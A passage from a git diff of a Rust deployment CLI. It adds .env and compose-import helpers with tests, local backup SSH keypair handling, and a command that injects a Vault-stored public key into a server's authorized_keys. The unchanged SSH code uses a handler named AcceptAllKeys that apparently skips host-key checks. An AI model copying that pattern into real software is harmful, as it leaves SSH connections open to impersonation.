+    if !content.is_empty() && !content.ends_with('\n') {
+        content.push('\n');
+    }
+    std::fs::write(env_path, content)?;
+    Ok(())
+}
+
+fn print_compose_sync_result(result: &ComposeServiceSyncResult) {
+    if result.updated_services.is_empty() {
+        return;
+    }
+    if let Some(path) = result.compose_path.as_ref() {
+        eprintln!(
+            "  Updated compose file {} with service(s): {}",
+            path.display(),
+            result.updated_services.join(", ")
+        );
+    }
+    if let Some(path) = result.backup_path.as_ref() {
+        eprintln!("  Compose backup saved to {}", path.display());
+    }
+}
+
 /// Try to build a `StackerClient` from stored credentials (best-effort).
 fn try_build_online_catalog() -> Option<StackerClient> {
     let cred_manager = CredentialsManager::with_default_store();
@@ -342,6 +919,211 @@ fn category_icon(category: &str) -> &str {
     }
 }
 
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    fn write_config(dir: &TempDir, body: &str) -> PathBuf {
+        let path = dir.path().join("stacker.yml");
+        std::fs::write(&path, body).unwrap();
+        path
+    }
+
+    #[test]
+    fn generate_secret_is_long_and_alphanumeric() {
+        let s = generate_secret();
+        assert_eq!(s.len(), 32);
+        assert!(s.chars().all(|c| c.is_ascii_alphanumeric()));
+        assert_ne!(s, generate_secret(), "secrets should differ");
+    }
+
+    #[test]
+    fn env_file_keys_ignores_comments_and_blanks() {
+        let dir = TempDir::new().unwrap();
+        let path = dir.path().join(".env");
+        std::fs::write(&path, "# comment\n\nFOO=1\nBAR = two\n").unwrap();
+        let keys = env_file_keys(&path);
+        assert!(keys.contains("FOO"));
+        assert!(keys.contains("BAR"));
+        assert_eq!(keys.len(), 2);
+        // Missing file → empty set.
+        assert!(env_file_keys(&dir.path().join("nope.env")).is_empty());
+    }
+
+    #[test]
+    fn write_env_updates_upserts_and_preserves_other_lines() {
+        let dir = TempDir::new().unwrap();
+        let path = dir.path().join(".env");
+        std::fs::write(&path, "# header\nKEEP=me\nPOSTGRES_PASSWORD=old\n").unwrap();
+
+        write_env_updates(
+            &path,
+            &[
+                ("POSTGRES_PASSWORD".to_string(), "new".to_string()),
+                ("REDIS_PASSWORD".to_string(), "fresh".to_string()),
+            ],
+        )
+        .unwrap();
+
+        let content = std::fs::read_to_string(&path).unwrap();
+        assert!(content.contains("# header"), "comment preserved");
+        assert!(content.contains("KEEP=me"), "unrelated key preserved");
+        assert!(
+            content.contains("POSTGRES_PASSWORD=new"),
+            "existing key replaced"
+        );
+        assert!(!content.contains("POSTGRES_PASSWORD=old"), "old value gone");
+        assert!(content.contains("REDIS_PASSWORD=fresh"), "new key appended");
+    }
+
+    #[test]
+    fn write_env_updates_creates_file_when_missing() {
+        let dir = TempDir::new().unwrap();
+        let path = dir.path().join(".env");
+        write_env_updates(&path, &[("K".to_string(), "v".to_string())]).unwrap();
+        assert_eq!(std::fs::read_to_string(&path).unwrap(), "K=v\n");
+    }
+
+    fn write_compose(dir: &TempDir, body: &str) -> PathBuf {
+        let path = dir.path().join("compose.yml");
+        std::fs::write(&path, body).unwrap();
+        path
+    }
+
+    fn import_command(
+        config_path: &Path,
+        compose_path: &Path,
+        review: bool,
+        yes: bool,
+    ) -> ServiceImportCommand {
+        ServiceImportCommand::new(
+            "smtp".to_string(),
+            Some(compose_path.to_path_buf()),
+            None,
+            None,
+            Some("mailserver".to_string()),
+            Vec::new(),
+            Some(config_path.to_string_lossy().to_string()),
+            review,
+            yes,
+            false,
+        )
+    }
+
+    #[test]
+    fn service_import_review_only_does_not_write_config_or_backup() {
+        let dir = TempDir::new().unwrap();
+        let config_path = write_config(
+            &dir,
+            r#"
+name: test-app
+app:
+  type: static
+services: []
+"#,
+        );
+        let compose_path = write_compose(
+            &dir,
+            r#"
+services:
+  mailserver:
+    image: docker.io/mailserver/docker-mailserver:latest
+    environment:
+      ACCOUNT_PASSWORD: literal-secret
+"#,
+        );
+        let original = std::fs::read_to_string(&config_path).unwrap();
+
+        import_command(&config_path, &compose_path, true, false)
+            .call()
+            .unwrap();
+
+        assert_eq!(std::fs::read_to_string(&config_path).unwrap(), original);
+        assert!(!Path::new(&format!("{}.bak", config_path.to_string_lossy())).exists());
+    }
+
+    #[test]
+    fn service_import_prevents_duplicate_service_names() {
+        let dir = TempDir::new().unwrap();
+        let config_path = write_config(
+            &dir,
+            r#"
+name: test-app
+app:
+  type: static
+services:
+  - name: smtp
+    image: trydirect/smtp
+"#,
+        );
+        let compose_path = write_compose(
+            &dir,
+            r#"
+services:
+  mailserver:
+    image: docker.io/mailserver/docker-mailserver:latest
+"#,
+        );
+
+        let err = import_command(&config_path, &compose_path, false, true)
+            .call()
+            .unwrap_err();
+        assert!(err.to_string().contains("already exists"));
+    }
+
+    #[test]
+    fn service_import_writes_backup_and_preserves_secret_placeholders() {
+        let dir = TempDir::new().unwrap();
+        let config_path = write_config(
+            &dir,
+            r#"
+name: test-app
+app:
+  type: static
+services: []
+"#,
+        );
+        let compose_path = write_compose(
+            &dir,
+            r#"
+services:
+  mailserver:
+    image: docker.io/mailserver/docker-mailserver:latest
+    ports:
+      - "25:25"
+    environment:
+      ACCOUNT_PASSWORD: literal-secret
+      POSTMASTER_ADDRESS: postmaster@example.com
+    volumes:
+      - maildata:/var/mail
+"#,
+        );
+
+        import_command(&config_path, &compose_path, false, true)
+            .call()
+            .unwrap();
+
+        let backup_path = format!("{}.bak", config_path.to_string_lossy());
+        assert!(Path::new(&backup_path).exists());
+        let config = StackerConfig::from_file_raw(&config_path).unwrap();
+        let service = config
+            .services
+            .iter()
+            .find(|service| service.name == "smtp")
+            .unwrap();
+        assert_eq!(service.ports, vec!["25:25"]);
+        assert_eq!(
+            service.environment.get("ACCOUNT_PASSWORD").unwrap(),
+            "${ACCOUNT_PASSWORD}"
+        );
+        assert_eq!(
+            service.environment.get("POSTMASTER_ADDRESS").unwrap(),
+            "postmaster@example.com"
+        );
+    }
+}
+
 fn capitalize(s: &str) -> String {
     let mut chars = s.chars();
     match chars.next() {
diff --git a/src/console/commands/cli/ssh_key.rs b/src/console/commands/cli/ssh_key.rs
index 2c2c6b25..9e08a099 100644
--- a/src/console/commands/cli/ssh_key.rs
+++ b/src/console/commands/cli/ssh_key.rs
@@ -3,12 +3,14 @@
 //! All operations call the Stacker server REST API (`/server/{id}/ssh-key/*`)
 //! which stores keys in HashiCorp Vault. Requires `stacker login` first.
 
-use std::path::PathBuf;
+use std::path::{Path, PathBuf};
 
-use crate::cli::credentials::CredentialsManager;
+use crate::cli::credentials::FileCredentialStore;
 use crate::cli::error::CliError;
-use crate::cli::stacker_client::{self, StackerClient};
+use crate::cli::runtime::CliRuntime;
+use crate::cli::stacker_client::{AuthorizePublicKeyResponse, ServerInfo, StackerClient};
 use crate::console::commands::CallableTrait;
+use crate::helpers::VaultClient;
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // ssh-key generate
@@ -35,18 +37,10 @@ impl CallableTrait for SshKeyGenerateCommand {
         let server_id = self.server_id;
         let save_to = self.save_to.clone();
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("ssh-key generate")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
+        let ctx = CliRuntime::new("ssh-key generate")?;
 
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
-
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let result = client.generate_ssh_key(server_id).await?;
+        ctx.block_on(async {
+            let result = ctx.client.generate_ssh_key(server_id).await?;
 
             println!("✓ SSH key generated for server {}", server_id);
             println!();
@@ -102,18 +96,10 @@ impl CallableTrait for SshKeyShowCommand {
         let server_id = self.server_id;
         let json = self.json;
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("ssh-key show")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+        let ctx = CliRuntime::new("ssh-key show")?;
 
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let result = client.get_ssh_public_key(server_id).await?;
+        ctx.block_on(async {
+            let result = ctx.client.get_ssh_public_key(server_id).await?;
 
             if json {
                 println!("{}", serde_json::to_string_pretty(&result)?);
@@ -162,29 +148,24 @@ impl CallableTrait for SshKeyUploadCommand {
         let priv_path = self.private_key.clone();
 
         // Read key files
-        let public_key = std::fs::read_to_string(&pub_path)
-            .map_err(|e| CliError::Io(std::io::Error::new(
+        let public_key = std::fs::read_to_string(&pub_path).map_err(|e| {
+            CliError::Io(std::io::Error::new(
                 e.kind(),
                 format!("Failed to read public key {}: {}", pub_path.display(), e),
-            )))?;
-        let private_key = std::fs::read_to_string(&priv_path)
-            .map_err(|e| CliError::Io(std::io::Error::new(
+            ))
+        })?;
+        let private_key = std::fs::read_to_string(&priv_path).map_err(|e| {
+            CliError::Io(std::io::Error::new(
                 e.kind(),
                 format!("Failed to read private key {}: {}", priv_path.display(), e),
-            )))?;
-
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("ssh-key upload")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
+            ))
+        })?;
 
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+        let ctx = CliRuntime::new("ssh-key upload")?;
 
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let server = client
+        ctx.block_on(async {
+            let server = ctx
+                .client
                 .upload_ssh_key(server_id, public_key.trim(), private_key.trim())
                 .await?;
 
@@ -202,17 +183,192 @@ impl CallableTrait for SshKeyUploadCommand {
     }
 }
 
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Local backup key helpers
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Clone)]
+pub struct LocalBackupKeyAuthorization {
+    pub private_key_path: PathBuf,
+    pub public_key_path: PathBuf,
+    pub ssh_command: String,
+    pub response: AuthorizePublicKeyResponse,
+}
+
+#[derive(Debug, Clone)]
+struct LocalBackupKeypair {
+    private_key_path: PathBuf,
+    public_key_path: PathBuf,
+    public_key: String,
+}
+
+pub async fn ensure_local_backup_key_authorized(
+    client: &StackerClient,
+    server: &ServerInfo,
+) -> Result<LocalBackupKeyAuthorization, CliError> {
+    let keypair = ensure_local_backup_keypair(server.id)?;
+    let response = client
+        .authorize_ssh_public_key(server.id, keypair.public_key.trim(), None, None)
+        .await?;
+    let ssh_command = format_ssh_command(
+        &keypair.private_key_path,
+        &response.ssh_user,
+        &response.srv_ip,
+        response.ssh_port,
+    );
+
+    Ok(LocalBackupKeyAuthorization {
+        private_key_path: keypair.private_key_path,
+        public_key_path: keypair.public_key_path,
+        ssh_command,
+        response,
+    })
+}
+
+fn default_backup_ssh_dir() -> PathBuf {
+    FileCredentialStore::default_path()
+        .parent()
+        .map(|path| path.join("ssh"))
+        .unwrap_or_else(|| PathBuf::from("stacker").join("ssh"))
+}
+
+pub fn local_backup_private_key_path(server_id: i32) -> PathBuf {
+    backup_key_paths_for_server(server_id, &default_backup_ssh_dir()).0
+}
+
+fn backup_key_paths_for_server(server_id: i32, ssh_dir: &Path) -> (PathBuf, PathBuf) {
+    let private_key_path = ssh_dir.join(format!("server-{}_ed25519", server_id));
+    let public_key_path = PathBuf::from(format!("{}.pub", private_key_path.display()));
+    (private_key_path, public_key_path)
+}
+
+fn ensure_local_backup_keypair(server_id: i32) -> Result<LocalBackupKeypair, CliError> {
+    ensure_local_backup_keypair_in_dir(server_id, &default_backup_ssh_dir())
+}
+
+fn ensure_local_backup_keypair_in_dir(
+    server_id: i32,
+    ssh_dir: &Path,
+) -> Result<LocalBackupKeypair, CliError> {
+    std::fs::create_dir_all(ssh_dir)?;
+    set_private_dir_permissions(ssh_dir)?;
+
+    let (private_key_path, public_key_path) = backup_key_paths_for_server(server_id, ssh_dir);
+
+    let public_key = if private_key_path.exists() {
+        let private_key = std::fs::read_to_string(&private_key_path).map_err(|e| {
+            CliError::Io(std::io::Error::new(
+                e.kind(),
+                format!(
+                    "Failed to read backup SSH key {}: {}",
+                    private_key_path.display(),
+                    e
+                ),
+            ))
+        })?;
+        let public_key = derive_public_key_from_private(&private_key)?;
+        write_public_key_file(&public_key_path, &public_key)?;
+        public_key
+    } else {
+        let (public_key, private_key) = VaultClient::generate_ssh_keypair().map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to generate local backup SSH key: {}", e))
+        })?;
+        write_private_key_file(&private_key_path, &private_key)?;
+        write_public_key_file(&public_key_path, &public_key)?;
+        public_key
+    };
+
+    Ok(LocalBackupKeypair {
+        private_key_path,
+        public_key_path,
+        public_key,
+    })
+}
+
+fn derive_public_key_from_private(private_key: &str) -> Result<String, CliError> {
+    let private = ssh_key::PrivateKey::from_openssh(private_key).map_err(|e| {
+        CliError::ConfigValidation(format!("Invalid local backup SSH private key: {}", e))
+    })?;
+    private.public_key().to_openssh().map_err(|e| {
+        CliError::ConfigValidation(format!("Failed to derive local backup public key: {}", e))
+    })
+}
+
+fn write_private_key_file(path: &Path, private_key: &str) -> Result<(), CliError> {
+    use std::io::Write;
+
+    let mut file = std::fs::OpenOptions::new()
+        .write(true)
+        .create_new(true)
+        .open(path)
+        .map_err(|e| {
+            CliError::Io(std::io::Error::new(
+                e.kind(),
+                format!(
+                    "Failed to create backup SSH private key {}: {}",
+                    path.display(),
+                    e
+                ),
+            ))
+        })?;
+    file.write_all(private_key.as_bytes())?;
+    set_private_file_permissions(path)?;
+    Ok(())
+}
+
+fn write_public_key_file(path: &Path, public_key: &str) -> Result<(), CliError> {
+    std::fs::write(path, format!("{}\n", public_key.trim()))?;
+    Ok(())
+}
+
+#[cfg(unix)]
+fn set_private_dir_permissions(path: &Path) -> Result<(), CliError> {
+    use std::os::unix::fs::PermissionsExt;
+    std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o700))?;
+    Ok(())
+}
+
+#[cfg(not(unix))]
+fn set_private_dir_permissions(_path: &Path) -> Result<(), CliError> {
+    Ok(())
+}
+
+#[cfg(unix)]
+fn set_private_file_permissions(path: &Path) -> Result<(), CliError> {
+    use std::os::unix::fs::PermissionsExt;
+    std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600))?;
+    Ok(())
+}
+
+#[cfg(not(unix))]
+fn set_private_file_permissions(_path: &Path) -> Result<(), CliError> {
+    Ok(())
+}
+
+pub fn format_ssh_command(private_key_path: &Path, user: &str, host: &str, port: u16) -> String {
+    format!(
+        "ssh -i {} -p {} {}@{}",
+        private_key_path.display(),
+        port,
+        user,
+        host
+    )
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // ssh-key inject
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
 /// `stacker ssh-key inject --server-id <ID> --with-key <PATH> [--user <USER>] [--port <PORT>]`
 ///
-/// Fetches the vault-stored public key for a server and injects it into the
-/// server's `~/.ssh/authorized_keys` using a locally-available working private key.
+/// Fetches the Vault-stored public key for a server and bootstraps it into the
+/// server's `~/.ssh/authorized_keys` using a locally-available private key that
+/// already works for SSH login.
 ///
-/// Use this to repair a server whose `authorized_keys` doesn't contain the Stacker
-/// vault key (e.g. after a fresh key generation that failed to inject automatically).
+/// Use this to repair a server whose `authorized_keys` doesn't contain the
+/// Stacker-managed Vault key (for example after a fresh key generation that
+/// failed to inject automatically). If you want Stacker to use your local key
+/// pair instead, use `ssh-key upload`.
 pub struct SshKeyInjectCommand {
     pub server_id: i32,
     /// Path to a local private key that already grants SSH access to the server.
@@ -224,14 +380,25 @@ pub struct SshKeyInjectCommand {
 }
 
 impl SshKeyInjectCommand {
-    pub fn new(
-        server_id: i32,
-        with_key: PathBuf,
-        user: Option<String>,
-        port: Option<u16>,
-    ) -> Self {
-        Self { server_id, with_key, user, port }
+    pub fn new(server_id: i32, with_key: PathBuf, user: Option<String>, port: Option<u16>) -> Self {
+        Self {
+            server_id,
+            with_key,
+            user,
+            port,
+        }
+    }
+}
+
+fn validate_bootstrap_private_key_path(key_path: &Path) -> Result<(), CliError> {
+    if key_path.extension().and_then(|ext| ext.to_str()) == Some("pub") {
+        return Err(CliError::ConfigValidation(format!(
+            "`--with-key` expects a private key file, not a public key: {}. Pass a private key that already grants SSH access to the server.",
+            key_path.display()
+        )));
     }
+
+    Ok(())
 }
 
 impl CallableTrait for SshKeyInjectCommand {
@@ -241,60 +408,68 @@ impl CallableTrait for SshKeyInjectCommand {
         let override_user = self.user.clone();
         let override_port = self.port;
 
+        validate_bootstrap_private_key_path(&key_path)?;
+
         // Read the local working private key
-        let local_private_key = std::fs::read_to_string(&key_path)
-            .map_err(|e| CliError::Io(std::io::Error::new(
+        let local_private_key = std::fs::read_to_string(&key_path).map_err(|e| {
+            CliError::Io(std::io::Error::new(
                 e.kind(),
                 format!("Failed to read key file {}: {}", key_path.display(), e),
-            )))?;
+            ))
+        })?;
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("ssh-key inject")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
-
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
+        let ctx = CliRuntime::new("ssh-key inject")?;
 
+        ctx.block_on(async {
             // Fetch server info to get IP, port, and user
-            let servers = client.list_servers().await?;
+            let servers = ctx.client.list_servers().await?;
             let server_info = servers
                 .into_iter()
                 .find(|s| s.id == server_id)
-                .ok_or_else(|| CliError::ConfigValidation(
-                    format!("Server {} not found", server_id)
-                ))?;
+                .ok_or_else(|| {
+                    CliError::ConfigValidation(format!("Server {} not found", server_id))
+                })?;
 
             let host = server_info
                 .srv_ip
                 .as_deref()
                 .filter(|ip| !ip.is_empty())
-                .ok_or_else(|| CliError::ConfigValidation(
-                    format!("Server {} has no IP address — deploy it first", server_id)
-                ))?
+                .ok_or_else(|| {
+                    CliError::ConfigValidation(format!(
+                        "Server {} has no IP address — deploy it first",
+                        server_id
+                    ))
+                })?
                 .to_string();
 
-            let port = override_port
-                .unwrap_or_else(|| server_info.ssh_port.unwrap_or(22) as u16);
+            let port = override_port.unwrap_or_else(|| server_info.ssh_port.unwrap_or(22) as u16);
             let user = override_user
                 .or_else(|| server_info.ssh_user.clone())
                 .unwrap_or_else(|| "root".to_string());
 
             // Fetch the vault public key
-            let key_resp = client.get_ssh_public_key(server_id).await?;
+            let key_resp = ctx.client.get_ssh_public_key(server_id).await?;
             let vault_public_key = key_resp.public_key.trim().to_string();
 
             println!("Server:     {} (ID {})", host, server_id);
             println!("SSH user:   {}  port: {}", user, port);
-            println!("Vault key:  {}", &vault_public_key[..vault_public_key.len().min(60)]);
+            println!(
+                "Vault key:  {}",
+                &vault_public_key[..vault_public_key.len().min(60)]
+            );
             println!();
-            println!("Connecting to inject key into authorized_keys…");
-
-            inject_key_via_ssh(&host, port, &user, local_private_key.trim(), &vault_public_key).await
+            println!(
+                "Connecting with the bootstrap key to add the Vault key into authorized_keys..."
+            );
+
+            inject_key_via_ssh(
+                &host,
+                port,
+                &user,
+                local_private_key.trim(),
+                &vault_public_key,
+            )
+            .await
         })
     }
 }
@@ -308,9 +483,9 @@ async fn inject_key_via_ssh(
     local_private_key: &str,
     vault_public_key: &str,
 ) -> Result<(), Box<dyn std::error::Error>> {
+    use russh::client::{Config, Handle};
     use std::sync::Arc;
     use std::time::Duration;
-    use russh::client::{Config, Handle};
 
     struct AcceptAllKeys;
 
@@ -332,19 +507,25 @@ async fn inject_key_via_ssh(
     });
 
     let addr = format!("{}:{}", host, port);
-    let mut handle: Handle<AcceptAllKeys> =
-        tokio::time::timeout(Duration::from_secs(4), russh::client::connect(config, addr, AcceptAllKeys))
-            .await
-            .map_err(|_| CliError::ConfigValidation(format!("Connection to {}:{} timed out", host, port)))?
-            .map_err(|e| CliError::ConfigValidation(format!("Connection failed: {}", e)))?;
+    let mut handle: Handle<AcceptAllKeys> = tokio::time::timeout(
+        Duration::from_secs(4),
+        russh::client::connect(config, addr, AcceptAllKeys),
+    )
+    .await
+    .map_err(|_| CliError::ConfigValidation(format!("Connection to {}:{} timed out", host, port)))?
+    .map_err(|e| CliError::ConfigValidation(format!("Connection failed: {}", e)))?;
 
     let auth_res = handle
         .authenticate_publickey(
             username,
             russh::keys::key::PrivateKeyWithHashAlg::new(
                 Arc::new(key),
-                handle.best_supported_rsa_hash().await
-                    .map_err(|e| CliError::ConfigValidation(format!("RSA hash negotiation failed: {}", e)))?
+                handle
+                    .best_supported_rsa_hash()
+                    .await
+                    .map_err(|e| {
+                        CliError::ConfigValidation(format!("RSA hash negotiation failed: {}", e))
+                    })?
                     .flatten(),
             ),
         )
@@ -353,7 +534,8 @@ async fn inject_key_via_ssh(
 
     if !auth_res.success() {
         return Err(Box::new(CliError::ConfigValidation(
-            "Authentication failed — the provided key is not accepted by the server".to_string(),
+            "Authentication failed — the provided private key is not accepted by the server. `ssh-key inject` requires a bootstrap private key that already grants SSH access."
+                .to_string(),
         )));
     }
 
@@ -365,9 +547,13 @@ async fn inject_key_via_ssh(
         safe_key, safe_key
     );
 
-    let mut channel = handle.channel_open_session().await
+    let mut channel = handle
+        .channel_open_session()
+        .await
         .map_err(|e| CliError::ConfigValidation(format!("Failed to open SSH channel: {}", e)))?;
-    channel.exec(true, cmd).await
+    channel
+        .exec(true, cmd)
+        .await
         .map_err(|e| CliError::ConfigValidation(format!("Failed to exec command: {}", e)))?;
 
     // Drain channel output
@@ -376,9 +562,10 @@ async fn inject_key_via_ssh(
             Some(russh::ChannelMsg::Eof) | Some(russh::ChannelMsg::Close) | None => break,
             Some(russh::ChannelMsg::ExitStatus { exit_status }) => {
                 if exit_status != 0 {
-                    return Err(Box::new(CliError::ConfigValidation(
-                        format!("Remote command exited with status {}", exit_status),
-                    )));
+                    return Err(Box::new(CliError::ConfigValidation(format!(
+                        "Remote command exited with status {}",
+                        exit_status
+                    ))));
                 }
                 break;
             }
@@ -387,11 +574,115 @@ async fn inject_key_via_ssh(
     }
 
     let _ = channel.eof().await;
-    let _ = handle.disconnect(russh::Disconnect::ByApplication, "", "English").await;
+    let _ = handle
+        .disconnect(russh::Disconnect::ByApplication, "", "English")
+        .await;
 
-    println!("✓ Vault public key injected into {}@{}:{} authorized_keys", username, host, port);
+    println!(
+        "✓ Vault public key injected into {}@{}:{} authorized_keys",
+        username, host, port
+    );
     println!();
     println!("You can now run:  stacker deploy");
 
     Ok(())
 }
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        backup_key_paths_for_server, ensure_local_backup_keypair_in_dir, format_ssh_command,
+        validate_bootstrap_private_key_path,
+    };
+    use crate::cli::error::CliError;
+    use crate::helpers::VaultClient;
+    use std::path::Path;
+    use tempfile::TempDir;
+
+    #[test]
+    fn rejects_public_key_file_for_ssh_key_inject() {
+        let err = validate_bootstrap_private_key_path(Path::new("/tmp/id_ed25519.pub"))
+            .expect_err("public key paths must be rejected");
+
+        match err {
+            CliError::ConfigValidation(message) => {
+                assert!(message.contains("expects a private key file"));
+                assert!(message.contains("id_ed25519.pub"));
+            }
+            other => panic!("unexpected error: {other}"),
+        }
+    }
+
+    #[test]
+    fn accepts_private_key_file_for_ssh_key_inject() {
+        validate_bootstrap_private_key_path(Path::new("/tmp/id_ed25519"))
+            .expect("private key paths should be accepted");
+    }
+
+    #[test]
+    fn backup_key_paths_use_config_scoped_ssh_directory() {
+        let ssh_dir = Path::new("/home/user/.config/stacker/ssh");
+        let (private_key_path, public_key_path) = backup_key_paths_for_server(42, ssh_dir);
+
+        assert_eq!(
+            private_key_path,
+            Path::new("/home/user/.config/stacker/ssh/server-42_ed25519")
+        );
+        assert_eq!(
+            public_key_path,
+            Path::new("/home/user/.config/stacker/ssh/server-42_ed25519.pub")
+        );
+    }
+
+    #[test]
+    fn local_backup_keypair_uses_existing_generate_keypair_helper_and_reuses_private_key() {
+        let dir = TempDir::new().expect("tempdir");
+        let keypair = ensure_local_backup_keypair_in_dir(7, dir.path()).expect("generate keypair");
+        let private_before =
+            std::fs::read_to_string(&keypair.private_key_path).expect("private key");
+        let public_before = std::fs::read_to_string(&keypair.public_key_path).expect("public key");
+
+        let regenerated =
+            ensure_local_backup_keypair_in_dir(7, dir.path()).expect("reuse existing keypair");
+        let private_after =
+            std::fs::read_to_string(&regenerated.private_key_path).expect("private key");
+        let public_after =
+            std::fs::read_to_string(&regenerated.public_key_path).expect("public key");
+
+        assert_eq!(private_before, private_after);
+        assert_eq!(public_before, public_after);
+        assert!(private_before.contains("OPENSSH PRIVATE KEY"));
+        assert!(public_before.starts_with("ssh-ed25519 "));
+    }
+
+    #[test]
+    fn local_backup_keypair_derives_public_key_when_pub_file_is_missing() {
+        let dir = TempDir::new().expect("tempdir");
+        let (public_key, private_key) = VaultClient::generate_ssh_keypair().expect("keypair");
+        let (private_key_path, public_key_path) = backup_key_paths_for_server(8, dir.path());
+        std::fs::write(&private_key_path, private_key).expect("write private key");
+
+        let keypair = ensure_local_backup_keypair_in_dir(8, dir.path()).expect("reuse keypair");
+
+        assert_eq!(keypair.public_key, public_key);
+        assert_eq!(
+            std::fs::read_to_string(public_key_path).expect("public key file"),
+            format!("{}\n", public_key)
+        );
+    }
+
+    #[test]
+    fn formats_copy_paste_ssh_command() {
+        let command = format_ssh_command(
+            Path::new("/home/user/.config/stacker/ssh/server-42_ed25519"),
+            "root",
+            "203.0.113.10",
+            2222,
+        );
+
+        assert_eq!(
+            command,
+            "ssh -i /home/user/.config/stacker/ssh/server-42_ed25519 -p 2222 root@203.0.113.10"
+        );
+    }
+}
diff --git a/src/console/commands/cli/status.rs b/src/console/commands/cli/status.rs
index 915bf49c..c6fa18c9 100644
--- a/src/console/commands/cli/status.rs
+++ b/src/console/commands/cli/status.rs
@@ -1,14 +1,15 @@
 use std::path::Path;
 
 use crate::cli::config_parser::{CloudOrchestrator, DeployTarget, ProxyType, StackerConfig};
-use crate::cli::credentials::CredentialsManager;
+use crate::cli::credentials::{CredentialsManager, StoredCredentials};
 use crate::cli::error::CliError;
 use crate::cli::install_runner::{CommandExecutor, CommandOutput, ShellExecutor};
+use crate::cli::local_compose::resolve_local_compose_path;
 use crate::cli::stacker_client::{self, DeploymentStatusInfo, ServerInfo, StackerClient};
+use crate::console::commands::cli::ssh_key::{format_ssh_command, local_backup_private_key_path};
 use crate::console::commands::CallableTrait;
+use crate::services::{DeploymentEvent, DeploymentEventClassification, DeploymentEventFeed};
 
-/// Output directory for generated artifacts.
-const OUTPUT_DIR: &str = ".stacker";
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 
 /// `stacker status [--json] [--watch]`
@@ -53,13 +54,7 @@ pub fn run_status(
     json: bool,
     executor: &dyn CommandExecutor,
 ) -> Result<CommandOutput, CliError> {
-    let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
-
-    if !compose_path.exists() {
-        return Err(CliError::ConfigValidation(
-            "No deployment found. Run 'stacker deploy' first.".to_string(),
-        ));
-    }
+    let compose_path = resolve_local_compose_path(project_dir)?;
 
     let compose_str = compose_path.to_string_lossy().to_string();
     let args = build_status_args(&compose_str, json);
@@ -72,13 +67,7 @@ pub fn run_status(
 // ── Cloud deployment status ─────────────────────────
 
 /// Terminal statuses — once reached, `--watch` stops polling.
-const TERMINAL_STATUSES: &[&str] = &[
-    "completed",
-    "failed",
-    "cancelled",
-    "error",
-    "paused",
-];
+const TERMINAL_STATUSES: &[&str] = &["completed", "failed", "cancelled", "error", "paused"];
 
 /// Check if a status is terminal (deployment finished or failed).
 fn is_terminal(status: &str) -> bool {
@@ -89,14 +78,77 @@ fn is_terminal(status: &str) -> bool {
 struct StatusContext<'a> {
     server: Option<&'a ServerInfo>,
     config: Option<&'a StackerConfig>,
+    live_containers: Option<&'a [serde_json::Value]>,
+    events: Option<&'a DeploymentEventFeed>,
+}
+
+/// Strip Python/paramiko noise lines from a raw install-service error message.
+///
+/// The install service emits CryptographyDeprecationWarning and Ansible preamble
+/// before the actual error. This function keeps only lines that look meaningful:
+/// no `WARNING:`, no `CryptographyDeprecation`, no `import` paths, no blank lines.
+fn clean_status_message(raw: &str) -> String {
+    let noise_prefixes = [
+        "/root/.local/lib/python",
+        "  \"cipher\":",
+        "  \"class\":",
+        "CryptographyDeprecationWarning",
+        "[WARNING]:",
+        "warnings.warn(",
+        "import warnings",
+    ];
+
+    let meaningful: Vec<&str> = raw
+        .lines()
+        .filter(|line| {
+            let trimmed = line.trim();
+            !trimmed.is_empty()
+                && !noise_prefixes
+                    .iter()
+                    .any(|prefix| trimmed.starts_with(prefix))
+        })
+        .collect();
+
+    // If filtering left nothing, return the original (truncated to 400 chars)
+    if meaningful.is_empty() {
+        return raw.chars().take(400).collect();
+    }
+
+    meaningful.join("\n")
+}
+
+/// Format a deployment event for display in the status timeline.
+fn format_event_line(event: &DeploymentEvent) -> String {
+    use crate::services::deployment_events::DeploymentEventClassification;
+    let icon = match event.classification {
+        DeploymentEventClassification::Success => "✓",
+        DeploymentEventClassification::Failure => "✗",
